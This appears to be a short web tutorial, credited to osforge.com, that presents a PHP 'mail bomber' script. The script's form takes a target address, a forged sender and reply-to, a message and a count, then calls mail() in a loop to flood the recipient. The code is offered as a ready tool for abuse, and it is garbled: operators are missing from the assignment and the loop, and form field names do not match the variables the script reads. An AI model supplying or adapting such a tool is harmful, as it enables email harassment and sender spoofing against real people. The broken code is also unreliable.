Creating a simple mail bomber in PHP
PHP Code

    <?php
    
if ($submit == "Send"){ 
    
$extra "From: $from Reply-To: $replyto ";
    echo 
"
    <center><h1>PHP Mail Bomber by Ravish</h1></center>
    <br>Sending... "
;
    for (
$i 0$i $number$i++){
    
mail ($recipient$subject$message$extra);
    }
    echo 
"done</body></html>";
    } 
    else{ 
    echo 
"
    <center><h1>PHP Mail Bomber by Ravish</h1></center>
    <form method='post' action=$PHP_SELF>
    <table>
    <tr>
    <td>To:</td>
    <td><input type='text' name='recipient'></input></td>
    </tr>
    <tr>
    <td>From:</td>
    <td><input type='text' name='from'></input></td>
    </tr>
    <tr>
    <td>Reply-to:</td>
    <td><input type='text' name='replyto'></input></td>
    </tr>
    <tr>
    <td>Subject:</td>
    <td><input type='text' name='subject'></input></td>
    </tr>
    <tr>
    <td>Message:</td>
    <td><textarea wrap=virtual name='page' cols=30 rows=10></text></td>
    </tr>
    <tr>
    <td>Number of messages to send:</td>
    <td><input type='text' name='number'></input></td>
    </tr>
    </table>
    <input type='submit' name='submit' value='Send'></input>
    </form> "
;
    }
    
?>




This article comes from osforge.com
http://www.osforge.com

The URL for this story is:
http://www.osforge.com/viewtutorial69.html